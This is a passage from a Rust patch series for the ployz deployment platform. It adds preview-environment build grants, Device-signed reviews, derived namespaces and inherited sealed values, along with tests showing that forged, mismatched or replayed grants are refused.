+        rule: Signed::sign(rule, &fixture.signer).unwrap(),
+        review: None,
+        proof,
+        service: web(),
+        commit: commit(),
+        authority: CommitAuthority::Head,
+        recipient: recipient(),
+        reader: None,
+    }
+}
+
+/// A Device-signed review of the `feature` preview of `commit` under `rule`.
+pub(crate) fn review(fixture: &Fixture, rule: &PreviewRule, commit: CommitSha) -> Review {
+    let body = PreviewReview {
+        cluster: rule.cluster,
+        rule: rule.rule,
+        generation: rule.generation,
+        key: PreviewKey::Fork(12),
+        commit,
+        environment: Uuid::from_u128(1),
+        services: vec![ReviewedService {
+            name: web(),
+            digest: PayloadDigest::parse(&"cd".repeat(32)).unwrap(),
+        }],
+        issued_at: Timestamp::from_millis(now().as_millis() - 1_000).unwrap(),
+        expires_at: Timestamp::from_millis(now().as_millis() + 600_000).unwrap(),
+    };
+    Review::Signed(Signed::sign(&body, &fixture.signer).unwrap())
+}
+
+/// A reviewed build's grant: a dispatch on the parent's branch under `review`.
+fn reviewed(fixture: &Fixture, rule: &PreviewRule, review: Review, jti: &str) -> PreviewGrant {
+    let authority = CommitAuthority::Review(review.digest());
+    let mut grant = grant(
+        fixture,
+        rule,
+        token(
+            &claim(rule, authority),
+            jti,
+            "workflow_dispatch",
+            "main",
+            ACTOR,
+        ),
+    );
+    grant.authority = authority;
+    grant.review = Some(review);
+    grant
+}
+
+async fn admit(
+    fixture: &Fixture,
+    grant: &PreviewGrant,
+    sealed: &SealedRecord,
+) -> Result<AdmittedRule, Error> {
+    fixture
+        .machine
+        .admit_preview_grant(
+            grant,
+            Some(&holder()),
+            Some(sealed),
+            &github(commit()),
+            now(),
+        )
+        .await
+}
+
+#[track_caller]
+fn refused(result: Result<AdmittedRule, Error>, field: &str) {
+    match result {
+        Err(Error::PreviewGrantRefused(PreviewRefusal::Rule(AuthorityRefusal::Mismatch {
+            field: named,
+        }))) => assert_eq!(named, field),
+        other => panic!("expected a refusal naming {field}, got {other:?}"),
+    }
+}
+
+#[tokio::test]
+async fn a_trusted_push_to_another_branch_mints_and_its_inherited_values_open() {
+    let fixture = fixture().await;
+    let record = inherited(&fixture);
+    let rule = preview_rule(&fixture, &record);
+    let claim = claim(&rule, CommitAuthority::Head);
+    let grant = grant(
+        &fixture,
+        &rule,
+        token(&claim, "trusted", "push", "feature", ACTOR),
+    );
+    let admitted = admit(&fixture, &grant, &record).await.unwrap();
+    assert_eq!(admitted.audience, claim.audience().unwrap());
+    let mint = Mint::check_admitted(
+        MintBuildGrantRequest {
+            repository: BuildGrantRepository::parse("ployz-build/web").unwrap(),
+            holder: Some(holder()),
+            sealed: Some(record),
+            rule: None,
+            preview: Some(grant),
+        },
+        Some(&fixture.sealing.dir.0),
+        Some(admitted),
+    );
+    assert!(mint.is_ok(), "{:?}", mint.err());
+}
+
+#[tokio::test]
+async fn a_push_by_an_account_the_rule_does_not_trust_is_refused() {
+    let fixture = fixture().await;
+    let record = inherited(&fixture);
+    let rule = preview_rule(&fixture, &record);
+    let claim = claim(&rule, CommitAuthority::Head);
+    let grant = grant(
+        &fixture,
+        &rule,
+        token(&claim, "stranger", "push", "feature", 42),
+    );
+    refused(admit(&fixture, &grant, &record).await, "an account");
+}
+
+#[tokio::test]
+async fn a_push_to_the_parents_branch_is_not_a_preview() {
+    let fixture = fixture().await;
+    let record = inherited(&fixture);
+    let rule = preview_rule(&fixture, &record);
+    let claim = claim(&rule, CommitAuthority::Head);
+    let grant = grant(
+        &fixture,
+        &rule,
+        token(&claim, "parent", "push", "main", ACTOR),
+    );
+    refused(admit(&fixture, &grant, &record).await, "a branch");
+}
+
+#[tokio::test]
+async fn a_build_record_with_a_value_of_its_own_is_refused() {
+    let fixture = fixture().await;
+    let record = inherited(&fixture);
+    let rule = preview_rule(&fixture, &record);
+    let claim = claim(&rule, CommitAuthority::Head);
+    let grant = grant(
+        &fixture,
+        &rule,
+        token(&claim, "own", "push", "feature", ACTOR),
+    );
+    let own = BTreeMap::from([(
+        "NPM_TOKEN".to_owned(),
+        EnvValue::Sealed(
+            fixture
+                .sealing
+                .seal("NPM_TOKEN", SealedScope::Shared, "own"),
+        ),
+    )]);
+    let own = fixture.sealing.open(own).unwrap().record.unwrap();
+    refused(
+        admit(&fixture, &grant, &own).await,
+        ployz_core::authority::preview::SEALED_VALUE,
+    );
+}
+
+#[tokio::test]
+async fn a_reviewed_dispatch_of_the_reviewed_commit_mints() {
+    let fixture = fixture().await;
+    let record = inherited(&fixture);
+    let rule = preview_rule(&fixture, &record);
+    let grant = reviewed(&fixture, &rule, review(&fixture, &rule, commit()), "review");
+    admit(&fixture, &grant, &record).await.unwrap();
+}
+
+#[tokio::test]
+async fn a_review_of_another_commit_is_refused() {
+    let fixture = fixture().await;
+    let record = inherited(&fixture);
+    let rule = preview_rule(&fixture, &record);
+    let other = CommitSha::parse(&"7".repeat(40)).unwrap();
+    let grant = reviewed(&fixture, &rule, review(&fixture, &rule, other), "other");
+    refused(admit(&fixture, &grant, &record).await, "a commit");
+}
+
+#[tokio::test]
+async fn a_review_of_another_rule_is_refused() {
+    let fixture = fixture().await;
+    let record = inherited(&fixture);
+    let rule = preview_rule(&fixture, &record);
+    let mut other = rule.clone();
+    other.rule = RuleId::from_bytes([0x33; 16]);
+    let grant = reviewed(&fixture, &rule, review(&fixture, &other, commit()), "rule");
+    refused(admit(&fixture, &grant, &record).await, "a rule");
+}
+
+#[tokio::test]
+async fn a_reviewed_build_without_its_review_is_refused() {
+    let fixture = fixture().await;
+    let record = inherited(&fixture);
+    let rule = preview_rule(&fixture, &record);
+    let mut grant = reviewed(&fixture, &rule, review(&fixture, &rule, commit()), "bare");
+    grant.review = None;
+    refused(admit(&fixture, &grant, &record).await, "a review");
+}
+
+#[tokio::test]
+async fn a_preview_grant_token_is_spent_once() {
+    let fixture = fixture().await;
+    let record = inherited(&fixture);
+    let rule = preview_rule(&fixture, &record);
+    let claim = claim(&rule, CommitAuthority::Head);
+    let grant = grant(
+        &fixture,
+        &rule,
+        token(&claim, "once", "push", "feature", ACTOR),
+    );
+    admit(&fixture, &grant, &record).await.unwrap();
+    assert!(matches!(
+        admit(&fixture, &grant, &record).await,
+        Err(Error::PreviewGrantRefused(PreviewRefusal::Rule(
+            AuthorityRefusal::ProofReplayed
+        )))
+    ));
+}
diff --git a/core/crates/ployzd/src/machine/local_machine/restart_approval.rs b/core/crates/ployzd/src/machine/local_machine/restart_approval.rs
index ac85020fac..ba3a344411 100644
--- a/core/crates/ployzd/src/machine/local_machine/restart_approval.rs
+++ b/core/crates/ployzd/src/machine/local_machine/restart_approval.rs
@@ -15,8 +15,8 @@ use ployz_core::{
     SetDeviceEnforcementRequest,
     authority::{
         AuthorityRefusal, AutoDeployRule, BuildClaim, BuildStage, ClaimRule, DeployApproval,
-        Purpose, RestartApproval, RestartFacts, RestartStep, RuleId, RuleIdentity, Signed,
-        StartingSet, Timestamp, restart, starting_set,
+        PreviewKey, Purpose, RestartApproval, RestartFacts, RestartStep, RuleId, RuleIdentity,
+        Signed, StartingSet, Timestamp, restart, starting_set,
     },
 };
 use serde::{Deserialize, Serialize};
@@ -133,13 +133,20 @@ impl LocalMachine {
         approval: Option<&Signed<RestartApproval>>,
         deploy: Option<&Signed<DeployApproval>>,
         rule: Option<&ployz_core::authority::RuleProof>,
+        preview: Option<&ployz_core::authority::PreviewProof>,
     ) -> Result<ContainerWant, Error> {
         let record = self.record();
         if !record.device_enforcement() {
             return Ok(want);
         }
-        if let (None, None, Some(rule)) = (approval, deploy, rule) {
-            return self.admit_rule_deploy_online(want, rule).await;
+        match (approval, deploy, rule, preview) {
+            (None, None, Some(rule), None) => {
+                return self.admit_rule_deploy_online(want, rule).await;
+            }
+            (None, None, None, Some(preview)) => {
+                return self.admit_preview_deploy_online(want, preview).await;
+            }
+            _ => {}
         }
         let Some((step, locator)) = RestartStep::of(&want) else {
             self.admit_operator_creation(&want, deploy)?;
@@ -301,15 +308,19 @@ struct AcceptedBuild {
     generation: u64,
     commit: ployz_core::authority::CommitSha,
     image: ployz_core::authority::ImageDigest,
+    /// The preview the build's token named, for a preview rule's build.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    preview: Option<PreviewKey>,
 }
 
 impl AcceptedBuild {
-    fn of(claim: &BuildClaim) -> Option<Self> {
+    fn of(claim: &BuildClaim, preview: Option<&PreviewKey>) -> Option<Self> {
         match claim.stage {
             BuildStage::Built { image, .. } => Some(Self {
                 generation: claim.generation,
                 commit: claim.commit,
                 image,
+                preview: preview.cloned(),
             }),
             BuildStage::Grant { .. } => None,
         }
@@ -787,25 +798,53 @@ impl ConsumptionLog {
             .expect("loaded above")
             .accepted
             .get(&rule_service_key(rule.rule, None, &claim.service));
-        Ok(AcceptedBuild::of(claim).is_some_and(|build| accepted == Some(&build)))
+        Ok(AcceptedBuild::of(claim, None).is_some_and(|build| accepted == Some(&build)))
+    }
+
+    /// The preview this Machine already admitted a creation of `claim`'s build for under
+    /// `rule` in `namespace`, which only that preview's Namespace derives from.
+    pub(crate) fn accepted_preview(
+        &self,
+        rule: RuleId,
+        namespace: &Namespace,
+        claim: &BuildClaim,
+    ) -> Result<Option<PreviewKey>, Error> {
+        let guard = self.loaded()?;
+        let accepted = guard
+            .as_ref()
+            .expect("loaded above")
+            .accepted
+            .get(&rule_service_key(rule, Some(namespace), &claim.service));
+        Ok(accepted.and_then(|build| {
+            let preview = build.preview.as_ref()?;
+            (AcceptedBuild::of(claim, Some(preview)).as_ref() == Some(build))
+                .then(|| preview.clone())
+        }))
     }
 
     /// Record `claim`'s build as the one `rule`'s Service last created a Container from
-    /// here. Written before the Container is made. Refuses, through `refused`, a `rule`
-    /// a newer generation replaced while its admission waited on GitHub.
+    /// here, in the preview `preview` names for a preview rule. Written before the
+    /// Container is made. Refuses, through `refused`, a `rule` a newer generation replaced
+    /// while its admission waited on GitHub.
     pub(crate) fn accept(
         &self,
-        rule: &AutoDeployRule,
+        rule: &impl ClaimRule,
+        preview: Option<(&Namespace, &PreviewKey)>,
         claim: &BuildClaim,
         refused: impl FnOnce(AuthorityRefusal) -> Error,
     ) -> Result<(), Error> {
         let mut guard = self.loaded()?;
         let consumption = guard.as_ref().expect("loaded above");
-        consumption.check_mark(rule.identity()).map_err(refused)?;
-        let Some(build) = AcceptedBuild::of(claim) else {
+        let rule = rule.identity();
+        consumption.check_mark(rule).map_err(refused)?;
+        let Some(build) = AcceptedBuild::of(claim, preview.map(|(_, key)| key)) else {
             return Ok(());
         };
-        let key = rule_service_key(rule.rule, None, &claim.service);
+        let key = rule_service_key(
+            rule.rule,
+            preview.map(|(namespace, _)| namespace),
+            &claim.service,
+        );
         if consumption.accepted.get(&key) == Some(&build) {
             return Ok(());
         }
diff --git a/core/crates/ployzd/src/machine/local_machine/rule_deploy.rs b/core/crates/ployzd/src/machine/local_machine/rule_deploy.rs
index 1b3829334c..253c19e2c6 100644
--- a/core/crates/ployzd/src/machine/local_machine/rule_deploy.rs
+++ b/core/crates/ployzd/src/machine/local_machine/rule_deploy.rs
@@ -147,7 +147,7 @@ impl LocalMachine {
             )
             .map_err(|refusal| logged(&rule, &new.slot.service, refusal))?;
             // Checked again: a newer generation may have landed while GitHub answered.
-            self.approvals.accept(&rule, claim, superseded)?;
+            self.approvals.accept(&rule, None, claim, superseded)?;
             if new.slot.kind == ContainerKind::PreDeployHook {
                 self.approvals.consume_rule_hook(
                     (rule.rule, None),
diff --git a/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs b/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs
index 247e5641d7..4038e0bd48 100644
--- a/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs
+++ b/core/crates/ployzd/src/machine/local_machine/rule_grant_tests.rs
@@ -21,8 +21,8 @@ use crate::{
     sealed_env::test_support::Cluster,
 };
 
-const BUILDER_SHA: &str = "1234567890abcdef1234567890abcdef12345678";
-const COMMIT: &str = "54dfcf4a46870fa09f5d5d6c965dd705c1a24e5c";
+pub(crate) const BUILDER_SHA: &str = "1234567890abcdef1234567890abcdef12345678";
+pub(crate) const COMMIT: &str = "54dfcf4a46870fa09f5d5d6c965dd705c1a24e5c";
 const MARKER: &str = "marker-sealed-rule-0123";
 
 pub(crate) struct Fixture {
@@ -30,7 +30,7 @@ pub(crate) struct Fixture {
     pub(crate) signer: Signer,
     pub(crate) cluster: SealingPublicKey,
     /// The Sealing Key the Machine holds, in a directory of its own.
-    sealing: Cluster,
+    pub(crate) sealing: Cluster,
     /// The build's one Sealed record: sealing again would change its digest.
     pub(crate) record: SealedRecord,
     _data_dir: crate::test_dir::TestDir,
@@ -125,7 +125,7 @@ pub(crate) fn holder() -> BuildGrantId {
     BuildGrantId::parse(hex::encode([3u8; 32])).unwrap()
 }
 
-fn recipient() -> RecipientKey {
+pub(crate) fn recipient() -> RecipientKey {
     RecipientKey::from_bytes([4; 32])
 }
 
@@ -303,6 +303,7 @@ async fn a_valid_token_mints_and_its_secrets_open_only_for_the_build() {
     assert_eq!(admitted.commit, commit());
     let mint = Mint::check_admitted(
         MintBuildGrantRequest {
+            preview: None,
             repository: BuildGrantRepository::parse("ployz-build/web").unwrap(),
             holder: Some(holder()),
             sealed: Some(fixture.record()),
diff --git a/core/crates/ployzd/src/machine_api/local.rs b/core/crates/ployzd/src/machine_api/local.rs
index 3cdd73c3a8..4d2776a5bc 100644
--- a/core/crates/ployzd/src/machine_api/local.rs
+++ b/core/crates/ployzd/src/machine_api/local.rs
@@ -79,6 +79,32 @@ impl MachineService {
         )
     }
 
+    /// Run every check of a preview build's grant against GitHub, or `None` when this
+    /// daemon cannot reach GitHub at all.
+    async fn admit_preview_grant(
+        &self,
+        grant: &ployz_core::PreviewGrant,
+        holder: Option<&ployz_core::BuildGrantId>,
+        sealed: Option<&ployz_core::SealedRecord>,
+    ) -> Option<Result<crate::machine::local_machine::rule_grant::AdmittedRule, LocalMachineError>>
+    {
+        let now = ployz_core::authority::Timestamp::now();
+        #[cfg(test)]
+        if let Some(github) = &self.github {
+            return Some(
+                self.local
+                    .admit_preview_grant(grant, holder, sealed, github.as_ref(), github.now(now))
+                    .await,
+            );
+        }
+        let github = crate::machine::local_machine::rule_grant::GithubOnline::shared()?;
+        Some(
+            self.local
+                .admit_preview_grant(grant, holder, sealed, github, now)
+                .await,
+        )
+    }
+
     #[must_use]
     pub fn with_cluster(
         owner: RecordOwner,
@@ -570,6 +596,7 @@ impl MachineRpc for MachineService {
                     request.approval.as_ref(),
                     request.deploy.as_ref(),
                     request.rule.as_deref(),
+                    request.preview.as_deref(),
                 )
                 .await
             {
@@ -996,8 +1023,36 @@ impl MachineRpc for MachineService {
         let request = expect::<op::MintBuildGrant>(request)?;
         // Refused before `Mint::check`, which opens the Sealed record to check it. A rule
         // build's grant passes enforcement only once every check of its proof passed.
-        let admitted = match &request.rule {
-            None => {
+        let admitted = match (&request.rule, &request.preview) {
+            (Some(_), Some(_)) => {
+                return respond(RpcError {
+                    code: RpcErrorCode::InvalidArgument,
+                    message: "a Build Grant is under one rule, not a rule and a preview rule"
+                        .into(),
+                    details: Value::Null,
+                    cause: Vec::new(),
+                });
+            }
+            (None, Some(grant)) => {
+                let admitted = self.admit_preview_grant(
+                    grant,
+                    request.holder.as_ref(),
+                    request.sealed.as_ref(),
+                );
+                let Some(admitted) = admitted.await else {
+                    return respond(RpcError {
+                        code: RpcErrorCode::Unavailable,
+                        message: "This Server cannot reach GitHub to check a preview build".into(),
+                        details: Value::Null,
+                        cause: Vec::new(),
+                    });
+                };
+                match admitted {
+                    Ok(admitted) => Some(admitted),
+                    Err(error) => return local_error(error),
+                }
+            }
+            (None, None) => {
                 if operator
                     && let Err(error) = self
                         .local
@@ -1007,7 +1062,7 @@ impl MachineRpc for MachineService {
                 }
                 None
             }
-            Some(grant) => {
+            (Some(grant), None) => {
                 let admitted =
                     self.admit_rule_grant(grant, request.holder.as_ref(), request.sealed.as_ref());
                 let Some(admitted) = admitted.await else {
@@ -1259,6 +1314,24 @@ fn local_failure(error: LocalMachineError) -> Result<RpcError, Status> {
                 details,
             ))
         }
+        LocalMachineError::PreviewDeployRefused(ref refusal) => {
+            let details = match refusal.next() {
+                Some(next) => serde_json::json!({
+                    "capability": ployz_core::DEPLOY_PREVIEW_CAPABILITY,
+                    "next": next,
+                }),
+                None => serde_json::json!({ "capability": ployz_core::DEPLOY_PREVIEW_CAPABILITY }),
+            };
+            Err(ployz_core::rpc::hinted_status(
+                tonic::Code::PermissionDenied,
+                &error,
+                details,
+            ))
+        }
+        LocalMachineError::PreviewGrantRefused(_) => Err(build_refused(
+            &error,
+            ployz_core::BUILD_GRANT_PREVIEW_CAPABILITY,
+        )),
         LocalMachineError::BuildRefused { capability } => Err(build_refused(&error, capability)),
         LocalMachineError::VolumeRefused { capability } => Err(ployz_core::rpc::hinted_status(
             tonic::Code::PermissionDenied,
diff --git a/core/crates/ployzd/src/machine_api/local_tests.rs b/core/crates/ployzd/src/machine_api/local_tests.rs
index a00d7b8dd5..461a376e96 100644
--- a/core/crates/ployzd/src/machine_api/local_tests.rs
+++ b/core/crates/ployzd/src/machine_api/local_tests.rs
@@ -5200,6 +5200,7 @@ mod ensure_container {
         ) -> Result<ployz_core::RpcResponse, Status> {
             let holder = hex::encode([3u8; 32]);
             let request = op::MintBuildGrant::into_request(ployz_core::MintBuildGrantRequest {
+                preview: None,
                 repository: ployz_core::BuildGrantRepository::parse("ployz-build/web").unwrap(),
                 holder: Some(ployz_core::BuildGrantId::parse(holder).unwrap()),
                 sealed: Some(foreign_sealed()),
@@ -5277,6 +5278,7 @@ mod ensure_container {
             let signed = rule::rule_for(fixture.cluster, machine, &fixture.signer, record);
             let token = rule::token_for(&rule::claim_for(fixture.cluster, &signed), jti);
             let request = op::MintBuildGrant::into_request(ployz_core::MintBuildGrantRequest {
+                preview: None,
                 repository: ployz_core::BuildGrantRepository::parse("ployz-build/web").unwrap(),
                 holder: Some(rule::holder()),
                 sealed: Some(record.clone()),
@@ -5532,7 +5534,7 @@ mod ensure_container {
             .unwrap();
             let admitted = service
                 .local
-                .admit_operator_restart(want, Some(&signed), None, None)
+                .admit_operator_restart(want, Some(&signed), None, None, None)
                 .await
                 .unwrap();
             ensure(
@@ -6452,6 +6454,7 @@ mod ensure_container {
                     None,
                     Some(&signed),
                     None,
+                    None,
                 )
                 .await
                 .unwrap();
diff --git a/core/crates/ployzd/src/machine_api/rotation_fleet_tests.rs b/core/crates/ployzd/src/machine_api/rotation_fleet_tests.rs
index 7e878544ee..72d1ae0872 100644
--- a/core/crates/ployzd/src/machine_api/rotation_fleet_tests.rs
+++ b/core/crates/ployzd/src/machine_api/rotation_fleet_tests.rs
@@ -817,6 +817,7 @@ fn gone(container: ContainerId) -> ContainerWant {
 
 async fn ensure(node: &Node, want: ContainerWant) -> EnsuredContainer {
     let request = op::EnsureContainer::into_request(EnsureContainerRequest {
+        preview: None,
         want,
         approval: None,
         deploy: None,
@@ -2433,6 +2434,7 @@ fn creation_on_wire(
             rotation: RunRotation::Pending,
         };
         let request = op::EnsureContainer::into_request(EnsureContainerRequest {
+            preview: None,
             want,
             approval: None,
             deploy: None,
diff --git a/core/crates/ployzd/src/management/build_grant.rs b/core/crates/ployzd/src/management/build_grant.rs
index 3169454b33..4840372103 100644
--- a/core/crates/ployzd/src/management/build_grant.rs
+++ b/core/crates/ployzd/src/management/build_grant.rs
@@ -719,6 +719,7 @@ mod tests {
 
     fn request(holder: Option<&str>) -> MintBuildGrantRequest {
         MintBuildGrantRequest {
+            preview: None,
             repository: BuildGrantRepository::parse("ployz-build/web").unwrap(),
             holder: holder.map(|holder| BuildGrantId::parse(holder).unwrap()),
             sealed: None,
diff --git a/core/crates/ployzd/src/sealed_env.rs b/core/crates/ployzd/src/sealed_env.rs
index c65f125afb..951e0f7ee8 100644
--- a/core/crates/ployzd/src/sealed_env.rs
+++ b/core/crates/ployzd/src/sealed_env.rs
@@ -471,6 +471,26 @@ pub(crate) mod test_support {
             value
         }
 
+        /// A value of `key` sealed for `environment` in place of this Cluster's own, as
+        /// a preview inherits its parent's.
+        pub(crate) fn seal_inherited(
+            &self,
+            key: &str,
+            environment: Uuid,
+            plaintext: &str,
+        ) -> SealedValue {
+            let mut value = SealedValue {
+                environment: Some(environment),
+                sealed: ployz_core::Ciphertext::from_bytes(vec![0; 48]),
+                scope: SealedScope::Shared,
+                key: key.into(),
+            };
+            value.sealed = self
+                .key
+                .seal_value(&value.associated_data(&self.identity), plaintext.as_bytes());
+            value
+        }
+
         pub(crate) fn open(&self, env: BTreeMap<String, EnvValue>) -> Result<OpenedEnv, OpenError> {
             open(env, Some(&self.identity), Some(&self.dir.0))
         }
diff --git a/core/crates/ployzd/tests/management_connect.rs b/core/crates/ployzd/tests/management_connect.rs
index 1e08445be8..8803a7a26a 100644
--- a/core/crates/ployzd/tests/management_connect.rs
+++ b/core/crates/ployzd/tests/management_connect.rs
@@ -1593,6 +1593,7 @@ async fn enforcement_contract() {
         let holder = iroh::SecretKey::generate();
         let id = BuildGrantId::parse(hex::encode(holder.public().as_bytes())).unwrap();
         let request = ployz_core::MintBuildGrantRequest {
+            preview: None,
             repository: ployz_core::BuildGrantRepository::parse("ployz-build/web").unwrap(),
             holder: Some(id),
             sealed: None,
@@ -1770,6 +1771,7 @@ impl GrantMachine {
     /// A grant for one push into `ployz-build/web`, held by `holder` when given.
     fn mint_for(&self, holder: Option<ployz_core::BuildGrantId>) -> ployz_core::BuildGrantMinted {
         let request = ployz_core::MintBuildGrantRequest {
+            preview: None,
             repository: ployz_core::BuildGrantRepository::parse("ployz-build/web").unwrap(),
             holder,
             sealed: None,

From fcac5d95f4c39cec6192b7c47c6d12c5e8b23ccc Mon Sep 17 00:00:00 2001
From: Nick Potts <github@nickpotts.com.au>
Date: Tue, 10 Nov 2026 15:18:31 +0000
Subject: [PATCH 4/8] Lower previews in the Namespace their rule derives, and
 keep preview rules

A PR Environment under a preview rule takes the Namespace every Server derives from the
rule and its branch, generated domains holding it, Own Copy Volumes named for their
parent's, and the parent's Sealed values naming the parent. A preview rule's plan
rehearses opening one and undoes it, so the template a Device signs is what every
preview lowers to.
---
 .../ployz-core/src/authority/preview.rs       |  21 +-
 core/crates/ployz-core/src/config/lowering.rs |  23 +-
 core/crates/ployz-store/src/branch/live.rs    |   3 +
 core/crates/ployz-store/src/command.rs        |  14 +
 .../ployz-store/src/deployment/lowering.rs    |  18 +-
 core/crates/ployz-store/src/deployment/mod.rs |  37 +-
 .../ployz-store/src/deployment/query.rs       |  28 +-
 core/crates/ployz-store/src/lib.rs            |   2 +
 core/crates/ployz-store/src/preview_rule.rs   | 328 ++++++++++++
 .../ployz-store/src/pull_request/mod.rs       | 203 ++++++--
 core/crates/ployz-store/src/removal/mod.rs    |   2 +-
 core/crates/ployz-store/src/removal/review.rs |  16 +-
 .../storage/migrations/0043_preview_rule.sql  |  10 +
 core/crates/ployz-store/src/storage/mod.rs    |  18 +
 core/crates/ployz-store/src/variables.rs      |  17 +-
 core/crates/ployz-store/tests/preview_rule.rs | 472 ++++++++++++++++++
 .../organization-ownership.postgres.test.ts   |   1 +
 17 files changed, 1165 insertions(+), 48 deletions(-)
 create mode 100644 core/crates/ployz-store/src/preview_rule.rs
 create mode 100644 core/crates/ployz-store/src/storage/migrations/0043_preview_rule.sql
 create mode 100644 core/crates/ployz-store/tests/preview_rule.rs

diff --git a/core/crates/ployz-core/src/authority/preview.rs b/core/crates/ployz-core/src/authority/preview.rs
index f9b8e69496..0a438d4554 100644
--- a/core/crates/ployz-core/src/authority/preview.rs
+++ b/core/crates/ployz-core/src/authority/preview.rs
@@ -132,10 +132,15 @@ pub fn is_preview_namespace(namespace: &Namespace) -> bool {
         .is_some_and(|(rule, key)| hex(rule, 16) && hex(key, 12))
 }
 
-/// A preview's Ingress hostname: `<label>.<namespace>.<domain>`.
+/// A preview's generated domain prefix: `<label>-<namespace>`, the label cut so the
+/// prefix stays one DNS label. Its hostname is `<prefix>.<domain>`, under the same
+/// Cluster Domain wildcard as every generated domain, and holds the derived Namespace,
+/// which the template puts back.
 #[must_use]
-pub fn preview_hostname(label: &str, namespace: &Namespace, domain: &str) -> String {
-    format!("{label}.{namespace}.{domain}")
+pub fn preview_prefix(label: &str, namespace: &Namespace) -> String {
+    let room = 63usize.saturating_sub(namespace.as_str().len() + 1);
+    let label = label.get(..room).unwrap_or(label).trim_end_matches('-');
+    format!("{label}-{namespace}")
 }
 
 /// One Service a preview rule deploys in each preview.
@@ -529,8 +534,8 @@ pub fn secrets_digest(record: &crate::SealedRecord) -> Result<SealedDigest, supe
 pub const SEALED_VALUE: &str = "a Sealed value";
 
 /// The digest a preview rule or review approves for `spec`, a preview's spec in its
-/// derived `namespace`: its [`PayloadDigest`] with the image, pull policy and Sealed
-/// identity left out, each Generated Value `service` names checked and replaced by its
+/// derived `namespace`: its [`PayloadDigest`] with the image, pull policy, Sealed
+/// identity and [`crate::config::SERVICE_ID_LABEL`] left out, each Generated Value `service` names checked and replaced by its
 /// generator, and every occurrence of `namespace` replaced by [`NAMESPACE_PLACEHOLDER`].
 ///
 /// # Errors
@@ -545,6 +550,12 @@ pub fn template(
     spec.container.image = String::new();
     spec.container.pull_policy = crate::PullPolicy::Never;
     spec.container.sealed_identity = None;
+    // Each preview's Services are its own copies with their own IDs, which only this
+    // bookkeeping label names.
+    let mut labels = spec.container.labels.as_map().clone();
+    labels.remove(crate::config::SERVICE_ID_LABEL);
+    spec.container.labels = crate::ContainerLabels::parse(labels)
+        .map_err(|_| AuthorityRefusal::Mismatch { field: "a payload" })?;
     for (key, generator) in &service.generated {
         let generated =
             |environment: &mut BTreeMap<String, EnvValue>, required: bool| match environment
diff --git a/core/crates/ployz-core/src/config/lowering.rs b/core/crates/ployz-core/src/config/lowering.rs
index 438b384975..8d4b95cbf7 100644
--- a/core/crates/ployz-core/src/config/lowering.rs
+++ b/core/crates/ployz-core/src/config/lowering.rs
@@ -104,6 +104,10 @@ pub struct SealedFor {
     pub environment: uuid::Uuid,
 }
 
+/// The label naming the authored Service a Container runs, for bookkeeping only: no
+/// Machine or Cloud reads it back.
+pub const SERVICE_ID_LABEL: &str = "cloud.ployz.service.id";
+
 /// One Service's captured settings and the runtime inputs resolved for it.
 #[derive(Clone, Debug, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
@@ -140,6 +144,10 @@ pub struct LowerDeploymentVolume {
     /// A Deploy applied it, so its data is on some Server. Written only when set.
     #[serde(default, skip_serializing_if = "std::ops::Not::not")]
     pub deployed: bool,
+    /// The ID its Docker Volume is named for, when not its own: an Own Copy in a
+    /// preview's derived Namespace takes its parent's, so every preview names it alike.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub named_for: Option<String>,
 }
 
 /// One Config the Namespace holds, its references resolved.
@@ -190,7 +198,13 @@ pub fn lower_deployment(input: LowerDeploymentInput) -> Result<DeployIntent, Con
     let volume_sources: BTreeMap<_, _> = input
         .volumes
         .iter()
-        .map(|v| (v.volume_resource_id.as_str(), (v.storage, v.deployed)))
+        .map(|v| {
+            let named = v.named_for.as_deref().unwrap_or(&v.volume_resource_id);
+            (
+                v.volume_resource_id.as_str(),
+                (v.storage, v.deployed, named),
+            )
+        })
         .collect();
     let config_sources: BTreeMap<_, _> = input
         .configs
@@ -298,11 +312,12 @@ pub fn lower_deployment(input: LowerDeploymentInput) -> Result<DeployIntent, Con
         let mut volumes = Vec::new();
         let mut mounts = Vec::new();
         for mount in configured_mounts {
-            let Some((storage, deployed)) = volume_sources.get(mount.volume_resource_id.as_str())
+            let Some((storage, deployed, named)) =
+                volume_sources.get(mount.volume_resource_id.as_str())
             else {
                 continue;
             };
-            let name = format!("vol-{}", mount.volume_resource_id);
+            let name = format!("vol-{named}");
             let reference: crate::ServiceVolumeReference =
                 name.clone().try_into().map_err(lowering_error)?;
             let name = crate::DockerVolumeName::parse(name).map_err(lowering_error)?;
@@ -456,7 +471,7 @@ pub fn lower_deployment(input: LowerDeploymentInput) -> Result<DeployIntent, Con
                 labels: crate::ContainerLabels::parse(
                     snapshot
                         .service_id
-                        .map(|id| ("cloud.ployz.service.id".into(), id))
+                        .map(|id| (SERVICE_ID_LABEL.into(), id))
                         .into_iter()
                         .collect(),
                 )
diff --git a/core/crates/ployz-store/src/branch/live.rs b/core/crates/ployz-store/src/branch/live.rs
index 4bf2b19d73..32e4730e6b 100644
--- a/core/crates/ployz-store/src/branch/live.rs
+++ b/core/crates/ployz-store/src/branch/live.rs
@@ -125,6 +125,8 @@ pub(crate) struct Lowering {
     pub(crate) setup: BTreeMap<String, Vec<String>>,
     /// The name of each Live Node, by lineage, as [`live_names`] finds it.
     pub(crate) names: BTreeMap<String, String>,
+    /// The Environment it branches from. None for a root.
+    pub(crate) parent: Option<EnvironmentId>,
 }
 
 /// [`Lowering`] for a Deployment of `saved` in Environment `id`, as things stand now.
@@ -155,6 +157,7 @@ pub(crate) fn lowering(
         live: live_producers(tx, &row.parent, &used_live(saved))?,
         setup,
         names: live_names(tx, id, saved)?,
+        parent: Some(row.parent),
     })
 }
 
diff --git a/core/crates/ployz-store/src/command.rs b/core/crates/ployz-store/src/command.rs
index 23f14aa4ca..aa623c9016 100644
--- a/core/crates/ployz-store/src/command.rs
+++ b/core/crates/ployz-store/src/command.rs
@@ -487,6 +487,17 @@ commands! {
         needs ChangesDeploy
         agent none "A person's Device signs a rule that deploys every push of a branch."
         => crate::auto_rule::approve(tx, who, c);
+    /// Keep the preview rule a Device signed for an Environment.
+    ApprovePreviewRule(crate::ApprovePreviewRule) -> PreviewRule(crate::PreviewRuleView) as *
+        needs ChangesDeploy
+        agent none "A person's Device signs a rule that deploys previews of pull requests."
